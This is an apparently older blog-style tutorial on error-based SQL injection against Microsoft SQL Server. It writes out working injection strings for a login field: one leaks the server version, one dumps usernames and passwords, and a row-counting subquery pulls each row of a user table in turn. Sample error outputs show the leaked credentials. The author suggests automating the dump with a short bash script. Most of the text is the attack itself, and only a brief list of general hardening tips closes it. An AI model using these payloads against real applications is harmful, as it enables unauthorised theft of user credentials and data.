I have been experimenting with SQL-injection and information enumeration through error messages for a while.
The idea was to simplify the process of extracting data so that very little application logic would be needed to perform the task. Ideally a simple 3-5 line bash-script wrapping wget or curl should do the trick.
So a short recap: In order to successfully extract information through error messages;
- The application has to be vulnerable to SQL-injection
- The web server has to return detailed error information
- The vulnerable SQL-statement has to be forced into an error condition
The information we want to extract should be placed so that it becomes a part of the returned error.
This could typically be achieved by converting varchar values to integer or numeric values eg.
Consider a vulnerable authentication function that concatenates the username into a template SQL statement.
We manipulate the username and insert the following: ‘ OR 1=@@version –
The resulting SQL-statement, that follows below, triggers an error condition in which the database version information is disclosed.
SELECT userid FROM appusers WHERE username=” OR 1=@@version — AND password=”
The error message returned by the web server is:
Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 – 8.00.760 (Intel X86)
Dec 17 2002 14:22:05
Copyright (c) 1988-2003 Microsoft Corporation
Desktop Engine on Windows NT 5.1 (Build 2600: Service Pack 2)
‘ to a column of data type int.
This could easily be adapted to extract any information from any table. I will not go into details about finding database columns and tables but it involves looking into the sysobjects and syscolumns tables. Let’s assume we have found the appusers table from which we would like to extract information. This time we insert the following: ‘ OR 1=(SELECT TOP 1 username+’,'+password FROM appusers) –
We end up with the following SQL-statement triggering an error condition in which the first users username and password is disclosed.
SELECT id FROM appusers WHERE username=” OR 1=(SELECT TOP 1 username+’,'+password FROM appusers) –
The error message returned by the server is:
Syntax error converting the varchar value ‘admin,p4ssw0rd’ to a column of data type int.
In order to trigger our error condition we need to return a single row as specified by the TOP 1 statement.
So, in order to enumerate 20000 rows we need to add additional conditions to our subselect. Knowing an account (admin) we could simply add: WHERE username <> ‘admin’
However, this would require us to process each answer and change our statement according to it’s outcome. What we want to achieve instead is to create a simple loop from which we can ask for a specific row number eg. 1 followed by 2, 3, 4, etc. This could easily be performed if our primary key is a numeric value in a non broken serie but not if our key is a GUID or of the data-type UNIQUEIDENTIFIER.
The approach I took was to stick an additional column specifying the row number to the columns I was interessted in. In our case with the appusers this would then look something like this:
rowno user password
1 admin p4ssw0rd
2 patrik secret
3 mattias haxxor
Now we could simply query for the second row in our user table in order to get my password. Adding rownumbers could probably be performed by creating a temporary table and copying data into it. In cases where the permissions are strict or we do not want to change the tested environment we need to perform the task in one go.
So given the layout of the appuser table the following statement would give us the table outlined above:
SELECT (SELECT COUNT(*) FROM appusers a2 WHERE a2.id<=a1.id), username, password FROM appusers a1
In order to exploit the application so that the error message would contain the username and password of the second row we would need to login using the following username:
‘ OR 1=(SELECT username+’,'+password FROM appusers a1 WHERE (SELECT COUNT(*) FROM appusers a2 WHERE a2.id<=a1.id) = 2) –
So now we can simply ask for the next row by increasing the last number in our statement regardless of the data returned by the server. Automating the enumeration of 20000 rows can now be done in a 3 line bash script and is left as an exercise to the reader.
So what can we do to restrict the possibility of mounting such an attack?
1. Perform security tests of applications prior to deploying them
2. Implement proper hardening guides and procedures for all system components
3. Educate system developers and project managers of the risks with poorly developed applications